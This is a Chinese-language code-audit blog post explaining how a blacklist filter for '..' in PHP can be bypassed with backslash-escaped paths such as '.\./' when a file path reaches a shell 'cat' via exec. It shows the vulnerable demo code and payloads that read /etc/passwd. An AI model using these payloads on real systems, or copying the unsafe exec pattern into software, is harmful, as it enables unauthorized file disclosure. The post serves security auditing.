也是前段时间代码审计:
先上代码:
if (!file_exists($fileName)){header("Content-type: text/html; charset=utf-8");echo "File not found!";exit;
}else{$file = fopen($fileName, "r");Header("Content-type: application/octet-stream");Header("Accept-Ranges: bytes");Header("Accept-Length: ".filesize($fileName));Header("Content-Disposition: attachment; filename=" . $name);$content = fread($file, filesize($fileName));fclose($file);
}return $content;
单单看代码很明显的任意文件下载,在代码的前面多了一行验证:
if(!FileHelper::validatePath($name)) {return "";
}
真的是断了我们的路啊,进去看看:
static function validatePath($file){$items = explode(\'..\', $file);if(count($items) < 2) {return true;
}return false;
}
分割..,目的很纯粹,害怕我们../读取到敏感数据
看下他的$filename定义吧:
$fileName = "/temp/" . $name;
说明就是只希望我们读取/temp/目录下的文件,他的文件上传,都传到了/temp目录下:
这时候你想去读取/etc/passwd根本不现实...
这时候我在思考,../真的无懈可击吗?
打开我的终端:
一步一步来:
正常查看数据:
cat /Users/Desktop/1.html
查看/etc/passwd,跨目录读取需要使用../:
cat /Users/Desktop/../../../etc/passwd
如果不让我们../怎么办?
巧用linux转义符号
\\.=.
echo \\\'
输出单引号,重新读取:
增加转义符,再次读取:
cat /Users/Desktop/.\\./.\\./.\\./etc/passwd
成功读取到/etc/passwd,这里继续,立马投入到fopen函数中:
说干就干:
运行提示没找到文件:
而没有像终端一样执行了/etc/passwd,很显然,这里把/.\\./认为是一个目录,而不是../:
后续发现,所有文件操作都把/.\\./认定为目录:
写个demo:
}else{$command = "cat $file";exec($command,$array);print_r($array);
}
其中:
.\\./.\\./.\\./.\\./.\\./etc/passwd =../../../../../etc/passwd
跨目录5次
这里需要创建目录,否则走不了else:
二阶的条件:前置条件:可以自定义创建目录或者文件:
mkdir -p /Users/phptest/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/passwd
再次运行:
因为调用了系统命令,最后.\\./最后变成:
/Users/phptest/../../../../../etc/passwd
从而导致了文件读取成功了.
问题所在:php/java认为.\\.是一个目录
终端命令执行:\\./=../,最终获取/etc/passwd
一次利用:rce使用字符串函数过滤,而不是使用escapeshellarg和escapeshellcmd
demo:
$arrw = array("`", "$", "-","..","||","|","&","&&");foreach ($arrw as $key => $value) {if(strstr($file,$value)){echo "不允许使用..和其他特殊字符串";return "";
}
}$cmd = "cat $file";var_dump($cmd);exec($cmd,$array);print_r($array);
这里命令执行过滤了一些特殊字符串,尤其关照了../,如果你想读取,只能读取/temp/临时目录下的文件,不能跨目录,但是这里调用了系统命令:
使用转义符绕过:
修改demo:
$arrw = array("`", "$", "-","..","||","|","&","&&");foreach ($arrw as $key => $value) {if(strstr($file,$value)){echo "不允许使用..和其他特殊字符串";return "";
}
}$cmd = "cat $file";var_dump($cmd);exec($cmd,$array);print_r($array);
定义我们的$file为/.\\./:
再次运行代码,读取到/etc/passwd
这个特性还是有很多利用空间的,希望以后代码审计能遇到多阶攻击